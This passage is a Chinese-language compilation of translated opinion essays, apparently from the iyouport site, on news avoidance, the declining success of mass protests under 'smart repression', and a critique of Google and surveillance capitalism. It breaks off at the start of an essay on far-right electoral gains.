然而，脱离新闻时事，还是会被指控为自私主义，或被认为谋取了某些未经审查的社会利益。

一年前，《纽约时报》报道了俄亥俄州男子埃里克·哈格曼（Erik Hagerman）的故事。

该男子自2016年美国总统大选以来对自己实施了新闻封锁，不接收任何外界新闻消息，甚至在去当地咖啡店的时候耳机力都放着白噪声，避免听到关于特朗普的谈论。

毫无疑问，这篇文章迅速走红，哈格曼受到了大量的道德谴责（或者说有可能受到谴责，如果他上网的话）。

“不是每个人都事不关己高高挂起，”作家凯伦·贝克（Kellen Beck）在在线媒体社交指导网 Mashable.com 上发表了一篇文章，代表了很多人的观点。文中愤怒地称哈格曼为“美国最自私的人”。

“那些因美国移民和海关执法部门的驱逐出境政策而被拆散的家庭不会漠不关心；那些受枪支暴力侵害的人也不会漠不关心。”

但是，“作为一个有机会赚（和存）很多钱的白人男性，那些发生在他的国家和同胞身上的事情，不会对（哈格曼）产生任何直接影响。”

但这一论点背后的假设，即 选择更少去关注新闻就是一种放纵，是信息匮乏时代的遗留物。

当新闻消息很难得到时，费力去搜寻它是有好处的。但是，当新闻无处不在，且沉浸其中似乎会让事情变得更糟时，需要做的就是避免它，或者至少在一定程度上避免它。

在一个注意力匮乏的时代，过有意义的生活意味着不要对所有重要问题都事事关注；就算历史上最伟大的圣人，也从来没有被要求像你今天浏览那么多国际新闻那样去关心那么多的苦难。

把注意力抽回是否是一种自私的行为，这取决于你如何利用由此多出来的时间和精力。

（据《纽约时报》报道，哈格曼买下了一座煤矿旧址上45英亩的湿地，在将其捐赠给公众之前，他一直致力于湿地的修复。据估计，这项工作可能花费掉他余下一生的时间和几乎所有的积蓄。还有很多更自私的方式来利用多出来的时间。）

但是，过滤掉大多数重要新闻，可能仅仅是省出时间做别的事情的先决条件而已。

「图」

「图」

塔斯利在即将出版的《过度民主》（*Overdoing Democracy*）一书中称，鉴于政治统治了这么多人的思想，甚至有可能，激进主义的一种关键形式是，不去参与政治，或者在社交媒体上不参与类似于政治的事情，而是把时间花在培养政治无法介入的其他领域。

从这个角度来看，不在酒吧或饮水机前谈论英国脱欧或特朗普，⚠并不是把头埋在沙子里不闻窗外事，而是主动去保护生活的某些部分不被时事淹没。

人们常说，解决社会分歧的方法就是多花时间与“对立面”的人接触。但塔利斯建议，要有意识地参与那些完全不受政治信念驱动的社会活动—— 在这些活动中，从一开始就不会出现政治方面的问题。

塔利斯住在纳什维尔，这些天空闲时间里和妻子一起参加了蓝草音乐演出。“我不知道（看演出时）坐在我身边的人是什么政治立场。”

他说到，“并不是说，你是一个民主党人，你要就去一个你所知道的共和党人经常出没的地方，而是要去一个没有政治参与的活动。”

塔利斯知道，想要拯救有积极意义的民主参与，这种建议听起来很普通，甚至是幼稚。

但是，当你身处在被国内外政治新闻包围的环境中，企图建立一个庇护所时，这可能是不可避免的：正因为新闻如此令人上瘾，如果从一开始，另一选择（去没有政治参与的活动）显得很单调，那你不应该感到惊讶。

他强调，他并不是建议人们停止更为传统的激进主义：“我不是说不要去抗议。但这不是你唯一能做的事。

所以，实际我的意思是，民主比你想象的要求更高，因为你还有另一项任务。”我们必须抗议，但同时我们也要去编织政治该去支持的社会结构。

他回忆道，在特朗普赢得大选后，美国许多出版物发表文章，就如何处理感恩节期间家人朋友聚会时产生的政治争论提出建议，文章的结论是，如果和你支持特朗普的叔叔讨论公民政治可能会让你感到压力过大，或许你该呆在家里别出门。

但塔利斯指出，这里有个不言而喻的前提，即当一切都尘埃落定了，政治信念比家庭生活更重要。

这就本末倒置了：民主政治的一个主要目的恰恰是确保大家享受到天伦之乐。在感恩节和你支持特朗普的叔叔相聚，关键不在于取得对方的认同或自己妥协，而是要明白，我们不是完全由我们的政治忠诚所定义的，而且，正如塔利斯所说，“为了在政治上平等相待，我们必须更多的应该看到彼此是亲人的关系。”

当然，我们过多思考这个问题本身并就不是很合理—— ⚠新闻殖民问题起源于技术公司为实现利润最大化而博取人们的注意力，作为个人，这时我们应该带头减少自己对政治和新闻的关注。

但对这个问题进行思考可能是我们开始变革的唯一切实可行的途径。

⚠如果新闻对日常生活的殖民化正在损害我们自己和民主政治，我们就不应该不去思考、反而向这一过程妥协。

如此关注新闻远非我们的道德责任，事实上，现今减少对新闻的关注可能才是我们应该去做的。〇

How the news took over reality 广告

原文

“智能镇压”时代：民众抗议此起彼伏，但效果如何？ - iyouport

反抗者-寻求经验社会反抗和思考

【2020年5月6日存档】起义很多，但达到目的了吗？

除了对腐败和一系列经济和社会的不满之外，还有一个主题在全球范围内引发了大大小小的抗议，那就是，对人的尊严的呼吁。

抗议活动反映了全球对政治制度和领导能力的信心崩溃。对尊严和社会正义的追求将黎巴嫩、伊拉克、约旦、埃及、阿尔及利亚等中东和北非国家的抗议活动，与苏丹、智利，玻利维亚，厄瓜多尔，委内瑞拉和海地等国家，及法国、津巴布韦、印度尼西亚、巴基斯坦和香港的示威活动联系在一起。

2019年的全球抗议活动构成了2011年爆发的挑战与异议时代的最新阶段，在突尼斯、埃及、利比亚和也门的专制领导人垮台后，这种抗议在中东和北非的爆发最为激烈。

但在这四个阿拉伯国家中，只有突尼斯从独裁体制向民主体制的过渡相对成功。

地区和国内反革命势力在2013年发动了军事政变，以免除埃及第一位也是唯一一位民主选举产生的总统，从而建立了埃及独立后历史上最残酷的和压制性的政权之一。

利比亚和也门在外国干预的推动下饱受内战的打击；叙利亚遭受了将近九年的内战。

与该地区其他国家一样，土耳其总统雷杰普·塔伊普·埃尔多安（Recep Tayyip Erdogan）利用了2013年的盖齐公园抗议活动 —— 该党执政十年来最大的反政府示威游行，以及2016年失败的军事政变，扭转了土耳其向民主和政治多元化迈进的步伐。

中东和北非撤退到了更具压制性的威权主义和专制政体，再加上俄罗

斯、中国、香港和哈萨克斯坦的各种镇压行动（这是仅举几个例子），促使分析人士怀疑大规模抗议活动是否仍然是实现政治变革一种有效的方式。

“仅在20年前，要求进行系统性政治变革的抗议者中还有70%实现了目标，并且这一数字自1950年代以来一直在稳定增长。而在2000年代中期，这种趋势突然逆转。在全球范围内，抗议者的成功率下降至仅30%”，纽约时报记者马克斯·费舍尔（Max Fisher）和阿曼达·陶布（Amanda Taub）在专栏中探讨了当前的不满情绪根源。

- 《为什么街头抗议不起作用？》

纽约时报文章的结论是基于政治学家 Erica Chenoweth 的一项研究得出的，该研究表明，不自由的民主政权、专制主义者和独裁者已经变得更加善于用所谓的“智能镇压”来阻止抗议活动。

然而，Chenoweth 定义的 “智能镇压” 旨在确保对精英们的忠诚，包括维稳部队和准军事代理人造成的更大程度的残酷和暴力，加强对异议者的审查和定罪，将反叛描述为外国敌对势力操纵的阴谋和恐怖主义形式，充其量不过是专制和独裁者的标准反应的升级版。

很难描述在埃及发生的军事政变及其后镇压造成1000多人被杀的直接后果究竟哪里“智能”。任意拘留杰出的商人、宗教人物和活动家及其家人，这相当于沙特王储穆罕默德·本·萨勒曼（Mohammed bin Salman）的手段；在中国西北部陷入困境的新疆地区，估计有100万突厥穆斯林被大规模拘留在再教育营中；而在土耳其和埃及等国家逮捕了数万人。

可能是自第二次世界大战以来的首次，这可以更好地解释抗议活动有效性降低的原因；政治学家安娜·鲁尔曼（Anne Luehrmann）和斯塔凡·林德伯格（Staffan Lindberg）称之为 “第三次专制化浪潮” 的结果是，走向专制主义的国家数量超过了走向民主的国家数量。

引起这一浪潮的根本原因是，一大批世界领导人的崛起，他们都拥护非自由民主、专制主义和独裁的治理原则，出于对民族或宗教团体权利的至高无上的支持，而无视基本人权和边缘群体的权利。

这些领导人的崛起在许多方面都是抗议活动的反面。他们通常是政治局外人，可能会或可能不会成为精英人士，如美国的特朗普、匈牙利的 Victor Orban、印度的 Modi、巴西的 Jair Bolsonaro、菲律宾的 Rodrigo Duterte、但他们把自己投射为 ‘变革力量”，目的是维护精英

对权力的绝对控制。

他们所谓的开化主义和反动民族主义的各个方面已经得到了经常持反对态度的政治力量的允许和不同程度的支持，包括极右翼、反移民和至上主义的种族和宗教团体，以及受欢迎的左派，包括美国的一些民主党总统候选人。

结果是潜在的恶性循环，在这种恶性循环中，日益受到限制的民主权利和更大的镇压使越来越多的社会群体边缘化，其中包括作为重要阶层的中产阶级以及少数群体，像香港、伊拉克、苏丹或罗兴亚人，看到自己已经没什么可失去的了，人们就会更强烈地反弹。

随着激进派拥有更大的吸引力，在各方面的暴力都增加了。

Chenoweth、Luehrmann 和 Lindberg 的结论将证明这一点。如果抗议是人们对政府和政治力量之无能的唯一和平解决方案，破坏抗议活动的有效性就会缩小影响变革的选择范围。

从这个角度来看，学者们的结论相当于对乔治·奥威尔（George Orwell）1944年的主张进行了当代版的改编，“所有革命都是失败，但并非都是相同的失败。”

然而，尽管学者们预测了趋势，但这可能还为时过早。

可以肯定的是，对于突尼斯和苏丹的反叛运动是否会产生持久的政治变化这一问题，尚无定论。

从2011年阿拉伯起义开始至今已经过去八年，抗议者一直在决心确保自己的知名度及其在社会中的地位，他们强调了经验教训，不再像阿尔及利亚和苏丹那样在一个领导人被迫做出让步或辞职后就宣布胜利，并且超越了伊拉克和黎巴嫩等易于被利用的宗派种族和宗教鸿沟。

中东学者 Hanin Ghaddar 说：“很长一段时间以来，黎巴嫩人第一次意识到敌人在内部，就是他们自己的政府和政治领导人，而不是什么外部占领者或区域影响者……政治领导人无法控制抗议活动的进行，抗议活动发生在所有宗派和所有地区。使人们聚集在一起的是一场持续的经济危机，这场危机已经伤害了各个宗派和地区的人们。”

认识到在过渡模式到位之前需要维持街头力量，这对于提高抗议者保持其有行动效性的机会至关重要。

抗议还能否作为一种有效工具的未来，同样取决于对共同利益的理解，这种共同利益必需超越宗派、种族和阶级成为社会结构的一部分。

from The Turbulent World of Middle East Soccer.

原文

“监视资本主义”并非任何创新，为什么理解这点非常重要？ - iyouport

社会反抗和思考

行为操纵一直是资本主义的重要组成部分

我们被告知，互联网将解放我们。它将使信息获取民主化；它将消除边界；它将使我们从肉体的存在中解放出来。1993年，《连线》杂志承诺，数字革命将带来“如此深刻的社会变革，其唯一可比性可能是火的发现”；2000年，比尔·克林顿宣称，中国打击互联网的努力“就像试图把果冻钉在墙上”；2011年，许多人猜测，诺贝尔和平奖将授予推特，因为它催化了阿拉伯之春 ……互联网被认为是一个潜力无限的地方。

阿拉伯之春不是社交媒体革命。如果您错过了《对于许多人来说，阿拉伯之春还没有结束》

一直以来，万维网都在增长，并将继续增长。1993年为130页；2000年为1700万页；2011年为7亿页。随着指数级的增长，出现了搜索和发现的问题。我们如何在一个指数级增长的数字干草堆中找到网页？像技术资本主义下的大多数问题一样，它在货币化中找到了解决方案，这次是以商业搜索引擎的形式。

早在1998年，数字信息访问货币化的令人不安的影响就已经很明显了。一些原始的搜索引擎在搜索结果的顶部出售“首选列表”；另一些则提供广告。无论商业化的道路如何，最终的结果都是扭曲了人们看到的东西，操纵了人们的点击率。

《搜索引擎的解剖》是有史以来被引用率最高的计算机科学论文之一，它直面了这一令人不安的趋势：

> 商业搜索引擎的主要商业模式是广告。广告商业模式的目标并不总是与向用户提供高质量的搜索结果相对应 …… 由广告资助的搜索引擎将在本质上偏向于广告商，而远离消费者的需求….，广告问题已经造成

了足够多的混合激励，因此拥有一个透明的、在学术领域具有竞争力的搜索引擎至关重要。

上述**1998**年这篇论文的作者看起来非常有先见之明。然而，他们也将被证明是非常虚伪的 —— 因为他们的名字叫谢尔盖·布林和拉里·佩奇，是谷歌的创始人，他们的论文是在向学术界介绍他们的搜索引擎。

如果您错过了《谷歌的真面目—— *They're always watching*》

就像万维网一样，谷歌不断成长，并将继续成长，从斯坦福大学的一个论文项目演变成了世界上最强大的公司之一。

布林和佩奇放弃了1998年的立场，在投资者的压力下屈服，通过广告使他们的搜索引擎盈利，并通过提供基于搜索查询的目标广告而加倍努力。

每一次谷歌搜索，谷歌的自动拍卖系统都会在广告商之间动态地进行竞价，每次有人点击广告都会产生收入。

这一设计与华尔街的量化金融异曲同工。谷歌的首席经济学家哈尔·瓦里安(Hal Varian)打算把广告变成一种商品，在自己的编码市场上进行交易，并配备高频交易。然而，与其他商品不同的是，这个市场不论过去还是现在都是完全不受监管的，由谷歌代表交易双方。

正如尼古拉斯·卡尔在《洛杉矶书评》中所阐述的那样，这种拍卖系统“给了谷歌巨大的经济刺激，使其能够准确预测用户对广告和其他在线内容的反应 …… 因此，该公司开始部署其行为数据存储，不是为了用户的利益，而是为了帮助广告商，并增加自己的利润。”

当然，最重要的是帮助政府，因为它持续监视每一个人，对每一个人深度了解，政府最需要的就是这些，见《互联网霸主的时间线——他们将互联网视为间谍、破坏和战争的主场》

2004年，谷歌的招股说明书包含了现在著名的座右铭：“我们坚信，从长远来看，我们将得到更好的服务 —— 作为股东和在所有其他方面 —— 一个为世界做好事的公司，即使我们放弃一些短期收益”，布林和佩奇写道。

根据谷歌前高管埃里克·施密特和乔纳森·罗森伯格在其2014年的畅销书《谷歌如何运作》中的说法，这句口头禅是在“一次会议上，[员工]正在讨论改变广告系统的好处，一个有可能为公司带来巨大利润

的改变。一位工程负责人拍着桌子说："我们不能这么做，这将是邪恶的"。然而，广告系统的存在本身就是对布林和佩奇的所谓原则的放弃，而这一广告系统的拟议变化激发了这句格言。

就像硅谷的所有格言一样，所谓的 "不作恶" 从一开始就是一种空洞的修辞学上的混淆。

在随后的几年里，谷歌及其母公司 Alphabet 的成功不仅体现在推出产品和疯狂收购竞争对手公司上，还体现在作恶上，在收集我们所有人的行为数据和训练预测模型的过程中，犯下了越来越多创造性的罪恶。

如果您错过了《谷歌控制的世界和监视资本主义》

为了更好地提供有针对性的广告服务，谷歌扫描了我们每个人在Gmail中的电子邮件通信；为了暗中窃取我们未加密的家庭WiFi路由器数据，它在驶过世界各地住宅街道的街景汽车上增加了功能；为了免费为其机器学习算法收集训练数据，它让您在访问网页时在reCAPTCHAs 中识别停车标志和交通灯；为了改进机器学习算法本身，它掠夺了大学的教授和学生；为了挖掘每个人的健康，它收购了Fitbit，并与医院合作，获取我们所有人的医疗记录；为了入侵您的个人空间，它给了您 Google Homes 以及 Spotify 订阅的免费甜甜圈；为了让您继续观看YouTube视频，它创造了一种推荐算法，使所有人都变得偏执和受到伤害；为了占领都市空间，它收购了 Sidewalk 实验室，并承诺所谓的 "智能城市"。

如果您错过了《监视之城：谷歌打造的地狱世界》，我们有 "关于谷歌和亚马逊" 的专栏，您可以看到更多

今天，谷歌和 Alphabet 无处不在，他们的数据收集也是如此。谷歌搜索（您的搜索查询），YouTube 和 Chromecast（您的视频偏好），安卓（您的移动行为和应用使用），DeepMind 和谷歌健康（您的健康数据），谷歌地图（您的地理位置数据），谷歌浏览器（您的浏览历史），谷歌家庭和 Google Nest（您的家庭生活和语音命令），Google Drive（您的文件），谷歌文档（您的合作），Gmail（您的电子邮件），谷歌图书（人类的集体文化遗产），谷歌照片（您的个人照片），谷歌新闻（您的政治倾向），谷歌 Hangouts，谷歌 Meet 和谷歌 Duo（您的社交关系），谷歌 Colab（您的代码），谷歌分析（您的网站指标），YouTube 音乐（您的音乐偏好），谷歌日历（您的计划），Google Workspace（您的职业生活），谷歌教室（您的教育）……

如果过您错过了《*Google* 产品的替代品—完整列表 》请注意，这只是关于在线应用的替代品，而现实中的诸如 “智能城市” 的东西，除了抗议别无他法

虽然我经常为自己无法脱离谷歌生态系统而感到内疚，但现实是，作为社会的一员，我根本无法逃避它。不可否认，谷歌的产品和服务有其实用性，但是，把这种实用性称为 “便利”，就是直接否定了我们每个人的自主权和同意。因此，在隐私和便利之间的古老的权衡完全崩溃了。

如果您错过了《便利的暴政》

什么是监视资本主义？Shoshana Zuboff 将其定义为要求将 “人类经验作为免费的原材料转化为行为数据”；通过机器学习算法，这种 “行为盈余” 被转化为 “预测产品”，在 “行为期货市场” 上进行交易。

换句话说，我们每个人的行为数据被用来训练预测模型，这些模型可以猜测关于您的任何事，然后可以通过许多不同的形式实现货币化，从操纵您的点击或购买、到将您的数据和预测出售给他人，操纵您的认知和投票。

数据越好、越丰富，下游的机器学习预测就越准确，利润也越大。

在这里看到具体介绍《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》；在这里下载阅读这本书，有中文版《监视资本主义时代》

Zuboff 恰当地描述了谷歌的货币化监控战术是如何成熟为一种利润结构的，当下所有科技和数字技术公司都是如此，全世界数字相关的公司只有监视资本主义这一种体制。这个名单包括 Facebook、亚马逊、微软、Snapchat、Netflix、Spotify、LinkedIn、IBM、Palantir、Verizon、共享汽车公司、汽车公司、电子商务网站、健康公司、约会应用程序、色情网站、银行、保险公司和咨询公司等等一切。这些公司在机器学习研究方面的投资规模是非常难以理解的，为监视资本主义提供动力的许多研究实验室就是证明。Google Brain、DeepMind、Facebook人工智能研究、微软研究、IBM Watson、Uber人工智能实验室、沃尔玛实验室和Salesforce研究，仅举几例。然而，在日常生活中，数据收集的规模甚至让您更难理解。

监视资本主义就在您的身上 —— 苹果手表和谷歌眼镜；对您的家的渗透是亚马逊Echo和智能冰箱。随着更好的数据收集、监测和跟踪，

人们有望更“了解自己“：睡眠习惯、性生活、时间管理等等。就像资本主义承诺统治大自然的一切那样，监控资本主义承诺通过所有人的行为来统治人性。

监视的整体性已经成为一个被提倡的景象：监视资本家通过数据化和计算宣扬“个人解放”。人们被告知，只要有足够的数据和足够的计算能力，我们就能释放出真正的自我。这是硅谷对苏格拉底的颠覆：未经优化的生活是不值得过的。

这种对优化的迷恋充斥着科技文化，考虑一下对机器学习（本身就是一种统计优化的形式）和时间管理（即对日历和敏捷工作流程的关注）的痴迷，以及现代技术官僚的哲学品牌（功利主义、所谓的“理性主义思想”、未来主义和“量化自我”运动）、以及慈善事业（作为交易的利他主义）。

但在表面之下，这种对优化的崇拜不过是作为宗教的资本主义，其特点是对通过数据化实现利润最大化的全盘信念。通过这个镜头，在产品发布和季度收益报告中传播“个人优化福音”背后的意图就变得很清晰了。尽管技术官僚会让人们相信这是他们的世界观，但它实际上是一种经济理论。其提炼出的计算方法就像供应和需求一样简单易懂：关于我们的更多数据等于他们的更多钱。

在这种榨取性经济理论下实施的监视资本主义行为非常恶劣，但却非常普遍，以至于人们已经变得完全麻木了。例如，臭名昭著的剑桥分析公司(Cambridge Analytica)丑闻影响了全世界的选举；Facebook 的社会情绪传染实验中，操纵了689,003名用户的新闻提要，以研究用户的情绪是如何被操纵的；Pokémon Go 的游戏化行为操控，将玩家引导到星巴克特许经营店等赞助地点；健康保险公司吸走我们衣服尺寸的数据；扫地机器人为您的家绘制图纸，然后卖给其他公司；一些公司出售少数派报告的预测算法和面部识别技术给警察；目标广告如此细化，以至于流产的孕妇被婴儿服装广告所困扰；以及 Facebook 在印度推出的“免费”移动互联网，由于掠夺性的数据采集，最好将其定性为新殖民主义（“几十年来，反殖民主义对印度人民造成了经济灾难。为什么现在停止它？”，Facebook 董事会成员马克·安德森2016年的推特上说）。

如果您错过了《数字殖民主义：帝国的演变》

监视资本主义资助的学术研究论文，如“通过人体反射的射频信号定位”和“过滤电波隔墙捕捉人形”，描绘了一个更可怕的未来，它将捕捉所有人的所有动作。与此同时，我们的个人生活一直被监控着，并

被汇总到名单和电子表格中，由数据经纪人出售：每份1000名强奸受害者或遗传病患者的目录为79美元。

当业余的诈骗者一直试图用弹出式广告来吸引您，庆祝您成为第100万个访问者时，真正的诈骗者却一直隐藏在众目睽睽之下，通过每一次点击、击键和语音命令来挖掘您的一举一动，承诺提供可爱的猫狗视频、更好的导航和更健康的生活方式，通过全面监控将所有人变成商品。监控资本家是披着技术外衣的狼。

埃里克·施密特和乔纳森·罗森伯格在《谷歌如何运作》中告诉人们："几千年前构思和建造金字塔的埃及人其实只是一个成功的管理者。互联网世纪充满了尚未建成的金字塔，.... 而这一次，没有使用奴隶制的劳动力"。而去年，Alphabet 公司1610亿美元的收入中，约有83%来自广告。已经非常清楚的是，互联网世纪的金字塔已经建成了。它们的资金来源是血汗钱，通过剥削和强行收割监视资本主义承诺解放的东西而产生，即：我们每个人。

确切地说，谁是监控资本家？也许，当历史书被写下时，人们记住的监控资本主义的面孔将是硅谷的寡头—— 与今天占据人们大量注意力的面孔一样。但是，在他们身后隐藏的将是大规模的系统性共谋和平庸的个人动机，它们助长了这一切。

每一个谢尔盖·布林和拉里·佩奇背后，都有至少一千名谷歌员工，他们在谷歌上市后的几年内都积累了500万美元以上的净资产。每一个马克·扎克伯格、杰夫·贝索斯和彼得·蒂尔背后，都有无数的工程师、数据科学家、机器学习研究员、产品经理、IT专家、运营研究员、广告主管、公司律师、内部经济学家、用户体验设计师、技术顾问和大学教授，他们被任命为监视资本主义的研究人员，从监视资本主义对我们所有人的货币化中获利。

一些人对自己的同谋行为视而不见。其他人则躲在他们不一致的功利主义背后（毕竟 Facebook 的 News Feed 创建者 Andrew Bosworth 就如此说过，"我们对连接人们的信念如此之深，以至于任何能让我们更经常地连接更多的人的东西都是*事实上的好东西。"）。一些人对技术官僚资本主义的弊端口诛笔伐；另一些人则通过科技巨头的所谓"人工智能伦理团体"将企业的违法行为合法化和合理化。而共同点是，他们都兑现了自己的薪水。正如厄普顿·辛克莱所言："当一个人的工资取决于他不了解某件事时，你就很难让他了解那件事"。

微软员工抗议800万美元的ICE合同的决定是值得赞扬的；谷歌员工反对该公司与五角大楼签订的100亿美元的人工智能服务合同的成功运

动同样如此。这些成功的示威活动揭示了成千上万的人在说“不”的能力方面所拥有的集体力量。

但这些监视资本家同样要对他们所做的其他事负责：对我们所有人身体的开采；对内容审核、产品运输和数据标注的劳动者的剥削；技术精英们对财富的空前禁锢；大学工程学院被收编为招聘中心；货币化的人工智能军备竞赛正在消除学术研究而有利于大型科技人工智能实验室；互联网被转换成一个大型A/B测试。迫使人们选择加入数据收集的黑暗设计模式；将人们委婉地简化为“用户”，让人们沉迷于点赞和分享的多巴胺刺激；科技资金的涌入污染了地方选举，例如在加利福尼亚和西雅图；监视资本主义和监视国家之间的密切关系；带有禁止诋毁条款的保密协议的激增，使异议沉默。 这些不为人知的恶行选择必需让更多人知道。

祖博夫在《监视资本主义时代》中的一个核心论点是，今天的监视资本主义在努力避免与过去的资本主义进行细致的比较。在祖博夫看来，与福特主义和20世纪初的工业资本主义的共鸣只到此为止，限制了我们批判一个全新现象的能力。祖博夫称这是“无马之车综合症，我们把新的危险感附在旧的、熟悉的事实上，而不知道它们导致得出的结论必然是不正确的。”这是整个科技批评中普遍存在的一种观点，即：如果技术是新的，那么威胁也一定是新的。并非如此。

将监视资本家视为自由市场的颠覆者，是给了他们太多的信任，否认他们从政府、新自由主义和纯粹的环境中获得了多少好处。为监视资本主义提供动力的大部分硬件、软件、基础设施和算法—— 包括作为监视资本主义底层的互联网—— 都是由军工企业和纳税人的钱资助的。

在这里看到具体介绍《互联网究竟是什么》

此外，监视资本主义从911事件中获得的纵向利润仅次于国防工业：袭击事件是监控增长和隐私贬值的决定性拐点，导致联邦贸易委员会放弃了潜在的数据保护立法。如果不是奥巴马政府对谷歌的迷恋，很难想象谷歌会拥有如此大的权力（2009年至2016年，政府与谷歌员工会面427次）。

在这里看到更详细内容：《解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？》

监视资本主义的巨头们所获得的税收优惠也同样重要。谷歌公司的成功得益于丰富的政策干预谱系，而这些干预与他们自称的聪明才智毫

无关系。

如果您错过了《赢家通吃的系统：在全球赚钱机器中》

然而，相信监视资本主义从一开始就是一种谬论，正如祖博夫和其他人所建议的那样。正如布雷特·克里斯托弗斯在《雅各宾报》上指出的，“行为操纵一直是资本主义的组成部分，特别是广告。”为广告目的将行为数据化只是一个时间问题。

早在20世纪60年代，Simulmatics 公司就向广告公司推销数据化的行为科学方法，并对“大众文化模式”抱有幻想，用 Jill Lepore 的话说就是，它将被用来“从所有媒体的公司 —— 出版社、唱片公司、杂志出版商、电视网络和电影制片人 —— 收集消费者数据，以便设计一个模型，通过元媒体和数据公司的方式来指导广告和销售。到1991年，Equifax 已经将包括1.2亿美国人的购买习惯在内的细化个人信息编入数字营销数据库，并以CD-ROM的形式出售。到1998年 —— 也就是谢尔盖·布林和拉里·佩奇发表论文的那一年 —— 描述监视资本主义的词汇已经在技术专家中流行起来。大卫·申克（David Shenk）推广了数据烟雾（“信息的有毒淤泥和沉淀物”）这一术语，就是祖博夫所称的“数据废气”的前身，而数据监控（“大量收集消费者数据并将其提炼为一种超级复杂的营销分析品牌”）这一术语已经有十年历史了。

简单说，这是延续了几十年的常识：监视资本主义是工业资本主义的自然延续。

事实上，工业资本主义的弊端可以告诉我们很多关于监视资本主义的情况。例如，与气候危机之间的关系。不仅要考虑到广泛的企业违法行为，还要考虑到持续不断的对公众的欺骗和操纵：关于回收利用的功效的谎言和对科学证据的全盘否定，与 Facebook 高管们在拒绝让自己的孩子使用这个平台的情况下对“连接我们所有人”的承诺（前高管 Chamath Palihapitiya 说他的孩子“不可以使用这个狗屎”）没有什么不同。进一步考虑以牺牲他人利益为代价的系统性共谋，以及未能将广泛的挫折感转化为有意义的企业问责制的执行。这些纵向的相似性揭示了我们真正面对的是什么。

技术曾经是为富人服务的。现在富人正在付钱以避免技术《穷人的屏幕》

因此，批评者中最严重的谬误是过分强调“监视资本主义”中的“监视”。将监视资本家视为前所未有的威胁，就会被他们无休止的宣称

所提供的东西是“新的和解放性的”所迷惑。

二十年来围绕建设资本主义的辩论已经被一种失忆的循环所污染，即每一次技术发展都会重新发明批评。新颖性的问题占了上风。数据是新石油吗？我们是消费者、产品和/或原始供应吗？监视资本主义剥削的不仅仅是我们的劳动吗？…… 但现实是，这样的理论争论最终掩盖了资本主义的腐蚀作用。真正重要的是全盘剥削本身。

简单说就是：这种剥削已经有了非常充分的证据。但是，在这种剥削中，技术新颖性的诱惑往往占据了首要位置。就像父母对待新生儿那样，媒体用监视资本主义的“第一”来淹没我们：第一个受算法操纵的总统竞选，第一个被自动驾驶汽车杀死的人，第一次在法庭上部署的机器学习模型，或者第一个被算法错误指控的案件 …… Zuboff 等人引用这些“第一”作为证据，说明在监视资本主义下，渎职行为会产生独特的不正当的下游效应。

公平、问责和透明领域的计算机科学家援引这些例子，说明为什么必须对算法和训练数据集进行去偏见化；政策专家用它们来论证为什么机器学习在司法系统中没有地位；隐私倡导者在告诉您应该限制您使用的设备数量时，也会指向它们 …… 但是，所有这些技术上的观点都掩盖了问题的核心：“监视资本主义”中的“资本主义”本质。

正如气候危机无法通过对现状的细微改进来解决，监视资本主义也不可能通过表面上的、技术上的修正来解决。Uber的杀手级自动驾驶汽车并不能通过推迟部署来解决（“在不可避免的碰撞中，人工智能会选择救谁？”这是老生常谈的人工智能伦理学思想实验）；相反，它必需通过从剥削性的共享汽车公司撤资和投资公共交通来解决。通过采用欧盟的GDPR立法，保证人们有权获得对算法决定的解释，并不能缓解算法信用决定中的偏见。而通过重税和财富再分配来减轻信用评分本身的负担，就可以改善这种情况。警察用机器学习算法错误地指控人们的不公平现象，不可能通过审计或删除算法来解决；健康保险公司的掠夺性数据吸纳，也并不能通过立法保护数据来改善，而是通过提供全民医疗来解决。谷歌最有毒的滥用行为不是通过反托拉斯诉讼就能解决的，只有通过重新评估驱动谷歌的盈利动机，才能缓解这些问题。

监视资本主义的系统性不公正是对反抗行动的呼唤。

如果您错过了《数字殖民主义：帝国的演变》

也许监视资本家设置的最大陷阱是让人们相信，这一切都是“不可避

免的”，互联网必须变成这样。他们不遗余力地推销一种让人联想到冷战时期言论的二元叙事：你必须服从硅谷的方式或专制的公路，在任何一种情况下，监控都是“必要的未来”。

2009年，时任谷歌首席执行官的埃里克·施密特宣称：“你愿意让政府管理创新公司，还是愿意让私营部门管理它们？有一些模式，也有一些国家，事实上政府确实在尝试这样做，而我认为美国的模式效果更好”。围绕谷歌退出中国的公关活动的持久遗产，就是对这种严重还原性的叙事的重申。事实证明，这种叙事操纵非常成功，它为人们留下了很少的空间来推测现在的情况和可能的情况之间的差距。在许多对监视资本主义的批评中，都提到了作为陪衬的威权监控。与“老大哥”的比较是无处不在的。祖博夫甚至在《监视资本主义时代》中用多页的篇幅将“Big Brother”的极权主义和“Big Other”的工具主义（祖博夫对监视资本家所掌握的权力的称呼）按照“极权主义愿景”、“权力手段”和“意识形态风格”等轴线进行比较。一些人正确地指出了这些精心设计的比较是如何成为不可避免的话语的牺牲品，并排挤了我们重新想象技术的能力。

我想说的是，所谓的“不可避免”的语话模式甚至更具局限性：它直接否定了一个更光明的社会的观点。就像我们不能在没有详细审视资本主义的情况下谈论监视资本主义的弊端一样，我们不能在没有重新想象社会本身的轮廓和实现这些变化的情况下重新想象互联网可能是什么。

请记得，监视资本家不是什么独角兽、不是什么有远见的人或登月思想者，他们也并没有进行什么颠覆性的创新。相反，他们构成了空前的威胁。我们必须首先记住他们是多么缺乏想象力和灵感，并将继续如此。他们的非原创性剥削，围墙花园式的利润最大化，以及衍生的、有几百年历史的、对解放的技术未来的空洞承诺，掩盖了他们的真实意图，他们已经回收和挪用了不受约束的资本主义的老套路。

真正的创造力和独创性在于我们有集体能力重新审视不公正的制度本身，实现一个更公平的社会。这是我们缩小技术现状和可能的未来之间差距的唯一途径。这是一条灵感之路。○

Putting the ‘Capitalism’ in ‘Surveillance Capitalism

原文

"自由万岁！" - - 你可以自由地选择卖命还是挨饿、屈服还是被枪毙 - iyouport

社会反抗和思考

从那些正在内卷中挣扎的年轻城市中产阶级的怨恨之河中，浮出了一个魔鬼 …… 这甚至不是第一次。

11月6日：

「图」

转评论——

苗头已经出现。

上周，极右翼在荷兰和阿根廷的选举中都赢得了胜利。显然，使唐纳德·特朗普上台的全球反动浪潮并没有随着他在2020年选举中的失利而消退，也没有随着雅伊尔·博索纳罗在巴西的失败而消退。

